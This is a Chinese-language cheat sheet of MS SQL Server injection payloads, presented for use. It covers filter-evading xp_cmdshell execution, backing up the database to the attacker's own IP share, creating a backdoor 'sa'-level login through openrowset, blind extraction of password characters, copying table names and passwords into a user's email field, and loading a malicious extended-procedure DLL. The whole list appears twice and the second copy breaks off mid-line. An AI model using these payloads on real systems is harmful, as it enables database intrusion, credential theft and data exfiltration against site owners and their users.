非常经典的Ms Sql注射资料
;
declare @a sysname set @a=''xp_''+''cmdshell'' exec @a ''dir c:\''
declare @a sysname set @a=''xp''+''_cm''+''dshell'' exec @a ''dir c:\''
;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat''
如果被限制则可以。
select * from openrowset(''sqloledb'',''server'';''sa'';'''',''select ''''OK!'''' exec master.dbo.sp_addlogin hax'')
传统查询构造：
select * FROM news where id= AND topic= AND ..
admin''and 1=(select count(*) from [user] where username=''victim'' and right(left(userpass,01),1)=''1'') and userpass <>''
select 123;--
;use master;--
:a'' or name like ''fff%'';-- 显示有一个叫ffff的用户哈。
''and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=''u'' and status>0) where name=''ffff'';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff'';update [users] set email=(select top 1 id from sysobjects where xtype=''u'' and name=''ad'') where name=''ffff'';--
象下面这样就可以得到第二个表的名字了
ffff'';update [users] set email=(select top 1 name from sysobjects where xtype=''u'' and id>581577110) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 count(id) from password) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 pwd from password where id=2) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 name from password where id=2) where name=''ffff'';--
exec master..xp_servicecontrol ''start'', ''schedule''
exec master..xp_servicecontrol ''start'', ''server''
sp_addextendedproc ''xp_webserver'', ''c:\temp\xp_foo.dll''
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc ''xp_webserver''
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, ''admin''''--'', ''password'', 0xffff)-
;and user>0
;;and (select count
declare @a sysname set @a=''xp_''+''cmdshell'' exec @a ''dir c:\''
declare @a sysname set @a=''xp''+''_cm''+''dshell'' exec @a ''dir c:\''
;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目录bak.dat''
如果被限制则可以。
select * from openrowset(''sqloledb'',''server'';''sa'';'''',''select ''''OK!'''' exec master.dbo.sp_addlogin hax'')
传统查询构造：
select * FROM news where id= AND topic= AND ..
admin''and 1=(select count(*) from [user] where username=''victim'' and right(left(userpass,01),1)=''1'') and userpass <>''
select 123;--
;use master;--
:a'' or name like ''fff%'';-- 显示有一个叫ffff的用户哈。
''and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=''u'' and status>0) where name=''ffff'';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff'';update [users] set email=(select top 1 id from sysobjects where xtype=''u'' and name=''ad'') where name=''ffff'';--
象下面这样就可以得到第二个表的名字了
ffff'';update [users] set email=(select top 1 name from sysobjects where xtype=''u'' and id>581577110) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 count(id) from password) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 pwd from password where id=2) where name=''ffff'';--
ffff'';update [users] set email=(select top 1 name from password where id=2) where name=''ffff'';--
exec master..xp_servicecontrol ''start'', ''schedule''
exec master..xp_servicecontrol ''start'', ''server''
sp_addextendedproc ''xp_webserver'', ''c:\temp\xp_foo.dll''
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc ''xp_webserver''
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, ''admin''''--'', ''password'', 0xffff)-
;and user>0
;;and (select count